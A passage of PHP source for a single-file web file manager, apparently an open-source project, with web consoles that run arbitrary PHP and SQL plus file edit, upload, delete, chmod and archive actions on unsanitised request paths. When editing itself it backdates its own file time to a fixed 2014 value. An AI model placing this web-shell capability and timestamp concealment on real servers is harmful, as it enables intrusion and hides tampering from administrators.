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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
